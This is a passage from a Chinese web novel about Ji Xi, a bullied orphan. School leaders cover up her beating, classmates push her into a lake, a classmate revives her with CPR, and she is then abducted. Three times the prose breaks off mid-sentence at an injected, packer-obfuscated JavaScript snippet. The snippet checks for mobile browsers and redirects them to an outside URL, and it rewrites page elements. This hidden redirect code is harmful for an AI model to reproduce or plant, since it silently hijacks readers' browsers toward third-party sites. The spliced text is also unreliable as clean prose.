江岸貌见有效果，继续道：“孩子，你看你现在还好好地站在这里，不是一切都挺好？” “她们都是你的同学，难道你想把她们都送进警局吗？” “不是我说你呀，小季同学，得饶人处且饶人。” “她们都是和你同窗的同学呀，你不会真的要把她们都送进监狱吧？” 季希疑惑。 她并不是要把同学送进监狱呀？ 江岸貌：“我一见到你，就知道你是个善良的好孩子，你肯定也不忍心吧。” “孩子，告诉老师，你是怎么想的，你忍心吗？” 季希摇头。 她从小到大，从来没有和同学发生过今天这样的冲突，甚至今天她都并不是挑事的那一方，她全程都是在被迫承受。 “对了，老师没有看错你，你是个好孩子。”江岸貌赞许道。 然后，江岸貌看向孟警员，说道：“警察同志，这些孩子我们都十分了解，孩子们之间只是发生了一些误会。” “少年人，年轻气盛，有一些争执吵闹，这都很正常。” “但是校园霸凌，那是绝对不可能的。” “咱们一中的孩子都是好孩子。都是误会，误会。” 孟警员当然满口称是。 见此情景，常道然接过话头，看向邱浩：“邱队长，关于火灾这件事，最终不是没有发生人员伤亡、也没有设施损毁吗？” “想必是火灾自动报警系统出了问题，是误报。” “对于这个纰漏，我们会尽快更换校内的火灾自动报警系统，避免以后出现类似的问题。” 邱浩皱着眉，没有说话。 孟警员开始表态：“既然事情已经清楚明了，我们就先回警局了。” 江岸貌笑起来：“警察同志慢走。” 邱浩无法，也只能带着消防队员离开。 常道然和江岸貌对视一眼，对在场的学生们说道：“同学们，你们也都累了，今天都先回去好好休息一下，有什么事情，明天再说吧。” 江岸貌着重对季希讲道：“孩子，你也快回家吧，好好歇息一下。” 待同学们都离开，两位校领导对在场的工作人员和老师严肃道：“今天的事情关系到一中的声誉，希望大家都不要外传，守口如瓶。” *** 吴焕晗先替季希给季莉雅打了电话，然后打了辆出租车，送季希去医院。 她知道，这件事情，就这样结束了。 最终的结果，可能连各大二十大板都谈不上，那高高抬起的板子，最终可能只会打在她们两个人身上。 11. 君本少年游侠客 那件事情发生之后，季希请了一段时间的假，在医院养病。 季莉雅替她到学校要过说法，但是最终连医药费都没有要到。 命如悬丝，生如草芥。 期间，吴焕晗来看过她。 吴焕晗在病床旁一边给季希削苹果，一边讲着她的近况：“邱浩，就是上次你见到的消防队队长，他借了我一笔钱，我妈妈的手术很成功。” 季希真心地替吴焕晗感到高兴：“真好。恭喜你。” 她们两个人当中，总要有一个人能得偿所愿，逃出这般困境。 吴焕晗忽地：“我要走了，离开南庐市。” 季希：“去哪里？” 吴焕晗：“去邻市。我妈有个姐姐在那边。” 她抬眼，看着季希道：“我妈知道了我在学校遇到的事情，非常愤怒，但是我们人微言轻，胳膊拧不过大腿。她要带我离开这个环境，所以我要转学了，我和我弟都跟着我妈到邻市去投奔我姨妈。” 她抓着季希的手：“季希，我还想好好读书，考大学，所以不能折在这里。” “你也一样，要好好的。” 吴焕晗离开了。 可是季希没有一个邻市的姨妈可以收留她。 院长妈妈虽然照顾她，但是院长妈妈也有很多事情要料理、很多孩子要看护，院长妈妈不是她真正的妈妈。 所以，在医院待了一段时间之后，季希回到了学校。 走在校园里的时候，季希总感觉有人在背后窃窃私语。 “就是她……” “你们看，原来是她呀……” “听说她……” “……” 她变得更加沉默寡言。 学期中换了次座位，于棠不再是她的同桌，之后两人说话也少了。 新同桌很冷漠，两人间没有太多交流。 所有人都厌恶她，讨厌她。 季希心想，她真正成为了孤家寡人。 有一天下课后，班主任走到她面前敲了敲她的桌子：“季希，跟我来一趟办公室。” 季希心里惴惴不安。 她不会要被学校处分开除了吧？ 班主任是一个中年男人。 他带着季希走进办公室，此时办公室也有其他老师在。 季希低着头，总感觉几位老师的目光都或多或少地落在了她的身上。 班主任：“季希，你这个学年的助学金被取消了。” 季希：“为什么？” 班主任：“季希，你之前发生的这那件事情，又是找消防员，又是找警察，不友爱同学，同学老师都对你意见很大。你这样，实在不是学生的榜样。所以经商议，这学期的助学金就得把你的名字划掉了。” 季希：“那件事情不是我的错，我难道要等着被打死吗？” 班主任：“你不要总想着从别人身上挑事，人还是要找找自己身上的原因。” 季希的手开始颤抖，她将手藏进衣袖，紧紧握住。 班主任：“你也不要心存芥蒂或者怀有任何情绪，这件事当时确实是闹得有点大，老师同学们都议论纷纷，你说你如果换个方式解决多好。” 季希深呼一口气：“是，都是学生没考虑周全。” 班主任：“行了，叫你来就是告诉你这件事，你回去吧。” *** 季希本以为当时涉及到的学生都会被取消奖助学金和评优评先，只是没想到，在学期末的校庆日上，她看见林晶作为获奖学生代表上台发言。 远远地瞧着林晶意气风发的笑容，季希非常困惑。 她到办公室找到班主任，问道：“老师，请问为什么林晶她们都还可以评优秀学生干部？那为什么取消我的助学金？” 班主任端起茶杯浅啜一口：“她们学习好呀，参加比赛为校争光。而且林晶的父亲还给学校捐了栋楼呢。” 看着季希失落不解的样子，班主任道：“行了季希，你也别太在意这些。你好好学习，把你现在该做的事情做好，好好考一个大学才是正理，其他的就别想了。” 所以那天，当所有人都在大礼堂观看表演时，季希站在学校的人工湖边，看着水里的锦鲤茫然无措：“为什么，一切都是我做错了吗？” 世界上的人都有好有坏，其中大奸大恶之人和大诚大善之人都占少数。 大部分人都是好坏掺杂着生活，遇到能给自己带来利益的，就做个好人，遇到不能给自己带来利益的，就做个坏人。 这是季希经过这件事才悟出来的一个道理。 所以她只能说，是她太没用，激发了林晶她们人性的恶，无力反抗，就只能默默承受。 也正是因为她没用，所以人们也都吝啬于对她伸出援手。 一棵路边杂草的命运，不论是被人恶意践踏，还是被暴风雪折断，无人在意。 不是都说书中自有黄金屋吗？ 书中常常写道：好人有好报，恶人有恶报。 这句话难道也是错的吗？ 季希不敢说自己是百分之百的好人，她还没有修炼到圣人那个境界，所以她不求好报。 可是她也绝对称不上是个坏人吧。 为什么要让她经历这些事情呢？ 这就是她的恶报吗？ 而那些自以为是、恃强凌弱、为所欲为的人呢？ 她们实实在在地做了恶行，为什么反而没有遭受什么后果？ 甚至照样风生水起、人人拥护？ 季希是真的困惑。 她实在想不明白，社会为何这样运转，而她的个人命运又为何比草芥还不如？ 寒冬时节，她就这样在湖边吹着冷风，自虐一般地盯着湖面。 此时恰好有几个女生从湖边的亭子中走出，经过一旁。 季希没有抬眼，也没有太在意。 没想到那些人却向她走了过来。 她们故意弄出些声响，季希想不注意都难。 季希回头，竟然是林晶一行人。 她们穿着厚厚的羽绒服，里面露出礼服的裙摆，似是刚刚在亭子那边拍完照，这会儿要回大礼堂。 季希下意识地向后退。 即便季希再愚钝，此刻也知道这些人绝对是来找茬的，而她已经在她们身上吃了足够多的教训。 所以季希转头就跑。 但林晶几人的小喽啰们阴笑着挡在她前方，拦住了她的退路。 季希被连扯带拽地扔到林晶面前的地上。 她略带狼狈地从地上爬起来。 即便躲不开，最起码，她还想守护自己的尊严。 季希站得笔直。 “哟，这是谁呀？这不是季希吗？”寇依宁笑得猖狂，“我还以为你被吓破胆了，再也不敢回学校了呢。” “吴焕晗那个狐狸精不就已经被吓得连夜转学到隔壁市了吗？”甄安然看着自己的美甲，得意道，“她可终于离开了。” 寇依宁摸着下巴，看向季希：“不过想想也是，吴焕晗虽然家底薄，但是到底还有一个妈和一个弟弟。” “可是季希，你能去哪里呢？” “你一个无父无母的孤儿，也只能在这里苟延残喘吧。” 林晶高高在上地将自己的目光施舍了一寸落在季希身上。 等寇依宁和甄安然替她打完前锋，先将季希好好奚落了一番后，林晶才开口：“季希，我告诉过你的吧，我弄死你就跟踩死一只蝼蚁一样轻而易举。” “所以，不要以为你现在可以平安无事地站在这里，是我不能拿你怎么样。这只是因为我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577962|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想因为卑贱的你而弄脏我的手。” “所以你要记住，以后，见到我们，就麻利地自己滚得远远的，不要再让我看见你，否则，我也不知道会发生什么事情。明白吗？” 季希受够了这群人的自以为是和蛮横骄纵。 她知道，不论是警察还是校方，不论是老师还是同学，没有人会站在她这一边。 之前的结果已经充分地说明了这一点。 自从回到学校以后，她一直在忍耐，对她们能躲则躲。 但是这些人只要找到机会，就会来欺负她，以看她痛苦为乐子。 可见卑微懦弱，一退再退，委曲求全，也并不能换来安稳。 得到的后果便是这些人如今更加地肆无忌惮、变本加厉。 季希满腔愤怒，但是最终只能用沉默来对抗，用漠视来发出心中愤懑的呐喊。 她的全身心都在对抗着自己想要将这些人全部撕裂的暴戾。 她知道，她不能这么做。 “喂，你现在是在无视我吗？”林晶阴狠道，“果然是有娘生没娘养的，一点礼貌都不懂。” “你那个院长妈妈就这么教你待人接物的吗？” “我们跟你说了这么久的话，你一点回应都没有吗？” 季希闭了闭眼，深呼吸，告诉自己要忽略这些人的言语攻击，告诫自己要忍耐，毕竟她还想继续读书，她还想要未来。 她必须忍。 而对于看她不顺眼的这些人来说，她的存在，她的呼吸，本身就是错误的。 只要她开口，便会给她们更多攻讦的理由，甚至给她们四处传谣言以素材。 所以她必须保持沉默。 这是她唯一的自保方式。 寇依宁上前一步，吼道：“你聋了吗？和你说话呢！怎么这么没有礼貌！” 季希抬起脸，冷漠的目光扫过寇依宁因为激动而扭曲的面庞。 她的眼底是一团汹涌的情绪，但是她依旧没有说话。 寇依宁感觉后背有点发凉，但是她绝对不会承认自己是被季希刚刚的那个眼神给吓到了，她抱了抱双臂：“怎么突然感觉有点冷。” “果然说会咬人的狗不叫。”甄安然啧啧几声，嘲笑道，“不过就以你这种小虫子的遗传基因而言，你的智商和你的这点姿色，若是想反击，实在是有些不够格呐。” “没错。你想咬人，小心反而把自己的牙崩坏。别到时候人没咬到，自己反倒落了个粉身碎骨的下场。你看什么看？觉得我说的不对？”面对季希暗如深渊的目光，林晶嗤笑一声，她上前一步，逼近季希，“今天我心情好，免费再给你上一课。” 一边说着，林晶伸手推，想把季希推进湖里。 季希早有戒备，她成功避开林晶的手，并且想趁机逃走。 可是她们毕竟人多势众，除了林晶三人，还有她们的其他跟班。 这些人，都是那天傍晚在游泳馆对她拳打脚踢的人。 这么多人一拥而上，每个人推一下，也能把她推下去。 所以即便季希十分努力地想要逃走，最终仍然没能逃脱既定的命运。 只听“砰”的一声，季希被推进湖里，激起一片水花。 林晶面色如常，看向众人：“这里刚刚发生什么了？” 寇依宁摇头：“没发生什么呀，咱们就是经过这里，湖边空无一人。” 甄安然摸了摸头上精致的发卡，懒懒道：“今年校庆的节目听说都准备得很精心，所有老师学生都齐聚大礼堂，大家都在欣赏节目，谁会没事来这边闲逛？这里当然是无事发生。” 众人都跟着附和。 林晶：“那我们走吧。” 她们一行人施施然地离开。 只留下不会游泳的季希在水里，拼命挣扎。 12. 熠熠红尘第一流 冬日的湖水冰冷刺骨。 季希在水波里浮浮沉沉，努力扑腾。 连这湖边的大白鹅都可以拥有一个能够御寒的小窝。 而她有什么呢？ 这碧水青天，这张灯结彩，这欢歌笑语，没有什么是属于她的。 没有人真正在意她。 没有人真正站在她这一边。 她的世界里充满了冷漠和灰败。 连这最凌冽的寒冬都比她的世界温暖。 冬季好歹也有暖阳。 严冬最终都会过去。 可她的世界里，既没有阳光的照耀，也没有一个春天在未来等她。 季希想着这些，心如死灰。 渐渐地，她放弃挣扎，就这样死气沉沉地放任自己的身体在水中自生自灭。 *** 程景逸本来也在大礼堂看表演，但是他突然接到大哥程景凌的电话，便悄悄从礼堂出来，找一个僻静的地方想和哥哥好好聊一聊。 他站在人工湖附近的假山旁，听着哥哥的声音从手机中传出，感到很安心。 “哥，你自从去读大学之后就和我联系的少了，你是不是忘记你还有个可爱的帅气弟弟了！”程景逸在哥哥面前永远像一个没长大的孩子。 程景凌：“给你打电话是问一下你前段时间集训的情况。你之前封闭训练，我不想打扰你，所以一直没和你通电话。今天你回学校了，正值校庆日，应该有空说说话。这一趟，感觉怎么样？” 程景逸：“感觉就是人外有人，天外有天。不过你弟弟也不差就是了。我会努力的，但是还是要有一颗平常心。” 程景逸和哥哥聊了一会儿，突然听见远处有奇怪的水声，便道：“哥哥，我不和你说了，这边有点事情，晚点你有空了咱俩再聊。” 他挂断电话，循着水声寻去，竟然看见有人在湖水里，看那样子，像是快不行了。 程景逸连忙脱掉外套和鞋子，将手机放好，然后跳入湖中。 待他将湖水中的女生捞起来后，才发现这人如此眼熟：“季希？” 程景逸连忙轻拍季希的肩膀，贴在她两侧的耳边呼喊：“季希，季希，你能听见我说话吗？” 见季希紧闭双眼，整个人似是无知无觉，他赶紧将季希平放在地面上。 季希的胸部始终没有呼吸的起伏。 程景逸立刻跪在她身侧，将其校服外套和羽绒服解开，进行胸外按压。 可按压三十次后，季希始终没有苏醒。 于是程景逸先检查季希的口中并无异物，然后用左手压住季希的前额，右手抬起季希的下巴，同时用左手手指捏住季希的鼻翼两侧，进行人工呼吸。 这样将胸外按压和人工呼吸反复进行了两次，季希的脸色和唇色慢慢转向红润，呼吸也渐渐恢复。 这个方法有效果！ 程景逸便继续进行第三次循环按压。 按压三十次后，正当他准备再一次人工呼吸时，季希忽地咳嗽一声，缓缓睁开双眼。 “你醒了，太好了！”程景逸惊喜道，“你现在感觉怎么样？” 季希没想到自己还能活着见到今天的太阳。 她想要坐起来，可是身体软绵绵的没有一点力气。 程景逸察觉到她的意思，便将季希扶坐起来靠在自己怀里，关切道：“季希，刚刚我救你上岸时你已经没有呼吸了，可把我吓坏了，周围又没有其他人，好在你终于醒了。” “我现在好庆幸我哥强迫我学了心肺复苏，不然我真不知道今天你会怎么样……” “对了，我还没打120。你这个情况，虽然醒了，但是最好到医院一趟，我现在就打120……” 季希第一次听见程景逸一口气说这么多话。 这些话语像发射的炮弹一样不停歇地钻进她的耳朵里。 原来他也有这样碎碎念的时候。 眼见程景逸拿出手机要拨打120，季希制止道：“别……” 她的嗓音哑涩，开口时十分难受，只得伸手去拦住程景逸。 程景逸疑惑：“你不想打120？” 季希点点头，缓了缓，她慢慢说道：“我不想让人知道这件事。” 程景逸沉思后道：“那我送你去医院。” 见季希还想拒绝，程景逸加了一句话：“悄悄地，我悄悄地送你去。” 程景逸扶着季希站起来，然后蹲在她面前：“走，我背你从南门出去。那个门走的人少。而且现在大部分人都在大礼堂，校园的路上没几个人。肯定不让你被不愿意见到的人看见。” 后背上迟迟没有人上来，程景逸扭头，拍拍自己的肩膀：“季希，快上来呀。” 回想起自己所经历的这一切，源头都是因为程景逸借给自己的那把伞，季希的心里其实很害怕再和程景逸有接触。 可是，程景逸今天又救了她一回。 在她最无助、最没有活下来的希望、最接近死神的触碰的时刻。 真是成也是他，败也是他。 这让她究竟应该怎么办呢？ 程景逸站起来，转过身，看向季希。 他斟酌道：“季希，虽然我不知道你在躲避谁，但是你肯定遇到困难了。” “我们也算是朋友了吧？我不知道你认不认我这个朋友，但是在我心里，你已经是我的友人。” “你不要害怕、不要恐惧、不要悲伤、不要绝望，不管是什么困境，我都会陪着你，度过这个难关。” 季希本来低着头。 程景逸的这一番话就仿若滔天洪水里的一根浮木，仿佛赤地千里下的一滴甘霖，对她而言，可以救命。 太阳如此耀眼，可耀眼并不是太阳的错。 夸父逐日，死于途中，想来夸父也不曾怨恨太阳。 她抬起头，望进程景逸赤诚的双眼。 如果有这么一个时刻，太阳愿意为她而闪耀，她想，哪怕前面是万丈深渊，她也想要试一试，去抓住这束耀眼的暖阳。 季希用尽全身的力气，一字一句道：“程景逸，我可以相信你吗？” “如果这很难呢，你会中途抛下我吗？” “如果你不能陪我坚持到最后，还不如不要开始，你现在离开，我也不会怪你。” “你是我的救命恩人，我始终会感激你。” 程景逸指着高一教学楼的方向说道：“季希，你还记得吗？就在那边，在高一教学楼一楼的腊梅树下，我和你讲过，我的人生信条就是行侠仗义、扶助弱小。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577963|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 季希：“我记得。” 就是那天他的这番话让她想要靠近他，可也是他那天借给她的伞让她走入到今天这个境地。 程景逸：“既然我救得了你一次，就能救得了你第二次、第三次，所以你放心，有我在，你会没事的。” 他重新蹲在季希面前。 这一回，季希俯身趴在了他的背上。 程景逸送季希到医院做了全程检查，医生给季希开了点药。 之后程景逸本想送季希回家，然后由他去帮季希给老师请个假。 但是季希在医院借了个吹风机把衣服和头发都吹干后，坚持要回学校，程景逸只好作罢。 到了校门口，季希看向程景逸：“你先进去，我过一会儿再进去。” 程景逸好笑道：“季希，我这么见不得人吗？刚刚还好好的，为什么现在不愿意和我走在一起？” 季希无言。 她不知道应该如何解释。 不过程景逸是何等聪慧敏锐之人，他注视着季希沉默低垂的眼以及灰败沉闷的脸色，再细细将今日之事前后思量一番，便突然明白过来：“原来你不是不愿意叫120，你是不愿意因为120引来其他人，不愿意让别人看见我们两个走在一起？” 季希低头。 程景逸太聪明了。 他这么容易就猜到缘由。 如果告诉他实情，他会不会认为自己对他有觊觎之心？ 林晶那些人都是这么以为的。 可是，她对太阳怎么会有非分之想呢？ 她靠近太阳，只是想感受光明，感受那一份带有温度的暖意。 然而那些追逐太阳的人常常会忘记，太阳的光和热并不会仅仅普照一人。 过于靠近太阳，会被太阳的热度灼伤。 更会被其他时时刻刻窥伺太阳的人消灭。 所以，太阳只可远观。 但她仍然忍不住靠近太阳。 这就是太阳的魅力。 程景逸见季希低着头一副十分抱歉、但却不愿多说的模样，便道：“这样，你先进去，我到学校对面的书店看会儿书，过一会儿再进去。” 程景逸一向有随身携带钢笔和小本子的习惯，此时他略微思索一番，从上衣口袋里拿出钢笔和本子，快速在上面写下几行数字，撕下纸张，递给面前的少女。 季希没有接，她看着纸条上的三行数字，迟疑道：“这是？” “季希，如果你不愿意在学校里和我走在一起，那么你有事就直接给我打电话。”程景逸靠近季希，用笔点着纸条上面的几串数字，向她展示道，“这三行电话，分别是我的手机号码、我家的座机号、以及我亲哥的号码。我哥叫程景凌，凌厉的凌。” 见季希愣愣的，程景逸把纸条塞进季希手里，温柔笑道：“有了这三个号码，无论何时何地，你应该都可以随时联系上我。” 季希张开嘴，却不知道该说什么：“我……” “季希，我想，你碰到的困难应该不算小。” 甚至多半和他有点关系。 程景逸的眼里透出认真：“我前段时间一直在外地参加集训，今天才回学校。” “我很抱歉，今天才发现你的艰难处境。” 13. 熠熠红尘第一流 季希张口，声音犹带着嘶哑：“谢谢你……不过你已经帮了我很多。” 她想了一下，还是打了个比方，以此劝说程景逸。 不敢用太阳的比喻，怕他猜到自己的心思，季希便换了种意象：“你就像是雪山水，神圣不可触碰。” “而我只是尘埃里，一只微不足道的小虫子。” “在众人的眼中，雪山圣水，容不得虫子的玷污。” “你，能明白吗？” 程景逸的目光落在季希身上。 季希揪了一下衣角，低头直言道：“我不能拖累你。” “季希，”程景逸，“我的人生信条就是行侠仗义、扶助弱小。” “其实现代社会，都比较和平，已经很少有机会能让我实现自己的这个侠客梦。” “所以你不要怕麻烦我，我特别愿意你来找我。” “如果当你遇见困难的时候能够来找我帮忙，我会很感谢你给了我一个实现侠客梦的机会。” 季希原本一直低垂着头。 仿佛不抬头就不会被太阳的光芒灼伤眼睛。 可这时，她忍不住抬眼，望向面前这个高高的少年。 少年的眼眸很澄澈。 里面盛着很多情感。 有严肃，有认真，有专注，有热忱。 却唯独没有一丝嫌恶与轻蔑，没有一毫敷衍与糊弄。 更没有可怜与同情。 他尊重她。 季希明白，程景逸的这番话是出自真心。 不是客气，不是客套，不是为了甩掉她的权宜之计。 捏着手里的纸条，季希点头：“嗯，我知道了。” 程景逸松了一口气。 他能感觉到，面前这个少女像一只受过伤的刺猬。 也许因为自己对她没有恶意的原因，所以她暂时还没有拿刺扎他，但是却也时刻戒备着他。 好在季希到底还是没有拒绝他的好意。 程景逸指了指校门：“那就快进去吧，有机会咱们还会再见面的。” 季希：“拜拜。” 程景逸看着季希孤寂走进校园的背影，一时说不上心里是什么感受。 他今天要问一下邵平风最近学校里到底发生了什么事情。 这样思忖着，程景逸走进学校对面的书店，和季希错开进校的时间。 光顾这个书店的一般都是一中的学生，可是这个时候，一中的大部分师生应该都在大礼堂，所以此时书店里门可罗雀。 程景逸在书店里闲逛，转过一排排书架，才发现最里面的角落坐着一个女生，是他们班的学习委员付苓。 付苓抬头，也看见了他：“程景逸？你回学校了？” “付苓，”程景逸点头，“是，今天回的。你怎么没去大礼堂？” 付苓眨眼：“你不也没去？” 两人都笑了。 程景逸没有看到感兴趣的书，本想离开，没想到付苓喊住了他。 付苓似乎有些犹豫，她绕着书店走了一圈，见此时书店里就他们两个顾客，而书店老板站在门口和隔壁餐馆的老板娘在聊天，两人笑得正开心。 付苓将程景逸拉到书店的最里面，确定外面的人透过橱窗看不见这里，她才小声说道：“程景逸，我觉得有一些事情，你应该知道。今天刚好碰到，我想跟你聊一聊，不知道你愿不愿意？” 程景逸见付苓说得郑重，点头道：“可以的，你说吧。” 付苓：“你还记得前段时间有一次，一个外班的女生来我们班找你还雨伞，当时还是我帮她叫的你。你有印象吗？” 程景逸：“当然有印象，当时谢谢你。” 他记得，那女生就是季希。 付苓见程景逸这般回答，心里一时不知道该庆幸那个女生也许还有点救，还是应该认为那女生被林晶她们盯上倒也不算冤屈。 她犹豫一番，开口道：“具体的我不能说太多，我只能告诉你，那个女生因为你的缘故被林晶她们盯上了，总之那个女生受了点苦，最近在学校里很不好过。” 程景逸眯起双眼：“付苓，你告诉我这个做什么？” 付苓：“我只是觉得，你也算是这个事件中的一方，你有知情权。” 程景逸：“谢谢你和我说这些。希望以后还有相关的消息时，你可以第一时间通知我。” *** 今天是校庆日，既不用上课，也不用写作业，邵平风在学校逍遥了一天。 他哼着歌骑自行车回到自家楼下，停好车后，上楼时却在楼道里看见了靠着墙站着的程景逸。 邵平风几个箭步跨过去拍了程景逸的肩膀一下，笑道：“吓了我一跳。我爸妈应该在家呢，你怎么不进去？站在这儿罚站呢？” 程景逸眉目冷峻，他轻扯嘴角，低声道：“今天来找你问点事情，就不进去叨扰叔叔阿姨了。” 邵平风猜见程景逸这模样，心知事情应该不小。 他转着钥匙链，爽快道：“走，那我们去茶馆说。” 两人到小区的茶馆里各点了杯老枞水仙，坐在窗边聊起来。 邵平风纳闷道：“程景逸，你今天这是咋了，一点都不像你。有什么就直接说出来，要是有事情我还可以帮你想办法。” “主要这不是我本人的事情……”程景逸也有些苦恼。 考虑到要保护季希，他斟酌一番，迂回地问道：“最近咱们学校有什么比较大的八卦吗？” “就比如，我常常在电视剧里看到有人拉帮结派欺负人，咱们学校有这种情况吗？” “稀奇啊，你竟然也有打听八卦的时候。”邵平风有些惊讶，他挠了挠头，“不过最近我妈盯得紧，我天天沉迷学习无法自拔，确实没有刻意关注过。容我想想啊……” “嗯，你好好想一想。”程景逸看向窗外，冬日的枝杈上光秃秃的，没有什么绿叶。 如果实在不行，他就直接去问季希。 别说这件事的起因可能和他有关系，就算没有关系，对于这种恃强凌弱、欺凌弱小的事情，他也一定要管到底。 这时，邵平风一拍脑袋，说道：“我好像隐约记得，前段时间学校里确实发生过一件事情。不过这个事儿被学校压下去了，所以我听到的也只是小道消息。” 在程景逸目光的注视下，邵平风娓娓道来：“好像是十五班的一个女生有天傍晚在体育馆的游泳馆被同学打了，当时闹得还挺大，听说消防和警察都来了，而且常书记、江校长这些校领导都到场了。” 程景逸皱眉：“这么大的事情为什么一点风声都没传出来？” 邵平风叹气：“那天刚好是周五，放学早，学校里基本除了值班老师就没有其他人了。校领导为了学校的形象想把这件事压下去。所以没有人明目张胆地谈这件事。” 程景逸挑眉：“那你是怎么知道的？” “我… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577964|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …这叫山人自有妙计。”邵平风摸摸鼻子，“好吧，我告诉你，是我同桌余潇潇和我说的。余潇潇是个八卦搜集小能手，全校就没有她不知道的八卦。我本来以为她都是瞎说的。但她总说她有职业操守，传的八卦都是有事实依据的。怎么？这件事不会是真的吧？” “被打的……”程景逸说的有些艰难，“和打人的，知道这两方都是谁吗？还有，知道打人的原因吗？” 邵平风：“我只记得被打的好像是十五班的一个女生，具体是谁，我不知道。打人的几个人都被保下来了，所以名字没有传出来。原因就更不知道了。” 见程景逸有些失望的样子，邵平风说道：“兄弟，别一副愁眉苦脸的样子。等着，我现在就给你问问。” 邵平风从书包夹层里翻出手机：“还好我今天早上趁我妈不注意，偷偷把手机带出来了，现在刚好派上用场。” 他飞快地翻出一个号码打过去。 那边很快就接通。 邵平风一边观察着四周有没有可能和他妈通风报信的邻居，一边捂着手机小声道：“余潇潇，我是邵平风。” “知道，”余潇潇正坐在书桌前写作业，“有话快说，有屁快放。” 邵平风：“潇姐，和你打听个事儿呗，就是你之前和我说过的，十五班一个女生被打了的那件事。你知道打人的和被打的都分别有谁吗？都是一个学校的，又为了什么打起来的呀？” “怎么，我当时和你分享八卦的时候，你不是不信吗？”余潇潇，“现在怎么又这么感兴趣起来？” “潇姐，这你可就误会我了，”邵平风，“我哪里是不信，我那是太相信了，所以在学校里不敢说，但是我心中的八卦之火一直在熊熊燃烧。现在这不就实在是忍不住给你打电话来追问后续了吗？” 余潇潇：“行吧，告诉你也不是不行，下周轮到我值日，你得帮我打扫卫生。” 邵平风：“可以。” 余潇潇：“打人的是一班的林晶、寇依宁、甄安然以及她们的一群跟班，被打的是十五班的季希。” “至于这件事的起因嘛……”余潇潇喝了口水才道，“说起来，这个事儿还和一班的大神程景逸有点关系。听说是林晶看上了程景逸，但是程景逸对她不假辞色，反而对季希比较关照，所以林晶不满，就去找季希的茬儿。” 邵平风不敢置信：“这个瓜保真吗？” 余潇潇：“你不信就算了，但是值日还是得帮我做。” “行。”邵平风，“潇姐，这个瓜我持续订阅啊，如果还有后续一定要告诉我啊！” 余潇潇：“知道了，姐们要写作业了，挂了。” 挂断电话后，邵平风把从余潇潇那里打听到的事情如实复述给程景逸：“……事情就是这样，余潇潇是这么说的。” 回想起季希今天说什么也不愿意和他一起走在校园里的样子，程景逸低语：“这样一切就说得通了。” 没想到他竟然当了回红颜祸水。 邵平风不解：“什么就说得通了？” 程景逸拿起书包站起来：“谢谢你，平风，关于这个事，如果接下来你又打听到什么，一定要告诉我。” “茶水的单我已经买了，你在这儿再玩一会，我还有事，就先走了。” 邵平风一头雾水，不过想到程景逸算是间接地被牵扯进了这件事，倒也可以理解他这样的反应，感慨道：“还真是匹夫无罪，怀璧其罪啊。” 14. 熠熠红尘第一流 另一边，林晶和甄安然、寇依宁几人在放学后商量着去哪里玩。 甄安然的手机响起，她看一眼信息，然后递给林晶，说道：“小六说在校门口看见程景逸送季希回来，季希手里提着一大包药，两人像是一起去了医院。” 寇依宁猜测道：“该不会是程景逸刚好把季希从水里救起来的吧？” “难说。”甄安然看向林晶，“就是不知道季希会不会和程景逸说我们的事……” “这个季希怎么运气这样好，下雨时程景逸借她伞，落水时程景逸救她命……”林晶沉吟片刻，她拨出去一个电话。 寇依宁听到电话内容，挑眉笑道：“这下可就能看好戏了。” 林晶挂断电话，轻笑道：“走吧，我们去玩吧，多叫一些人，这些可都是我们不在场证明的证人。” *** 季希今天仍然是教室里最后一个离开的。 即便她白天掉进水里过，但是她还是回到教室，将原本今天要完成的学习任务做完之后，才准备回家。 冬天太冷了，所以她一般不骑自行车回家，而是选择坐公交。 但是可以到达福利院的那趟公交车的车站并不在学校的正门口，而是在学校的西门旁边。 季希像往常一样从西门出去，然而她还没走到公交车站，就被人拉上了一辆突然出现在视野中的面包车。 这一切发生的很突然。 此时天色渐渐灰暗，西门外的行人并不算多。 “救……”季希只来得及发出一声并不完整的呼喊，就被人捂住嘴塞进了车里。 面包车很快开走。 地上摊着一本不知道是谁遗落的英语单词书。 *** 程景逸和邵平风分开后，心绪实在不平。 他难以想象，因为自己的原因，竟然给另一个人带来了如此大的麻烦和痛苦。 他白天还在心里谴责害季希落水的元凶，现在竟然得知他自己就是让季希落入如此境地的始作俑者。 程景逸现在特别想见到季希，他想和她道歉，并且想要帮她摆脱目前的困境。 可是他不知道季希家在哪里。 回忆起季希说过她今天还要回教室写几套卷子，可能会走得比较晚。 程景逸准备回学校碰碰运气。 高一教学楼离学校的西门更近一些，程景逸为了赶时间，便从西门进学校。 他步履匆匆地走到学校西门口，正待进门之际，隐约听见一声呼喊。 程景逸回头，只瞧见地上的一本高中英语词汇口袋书。 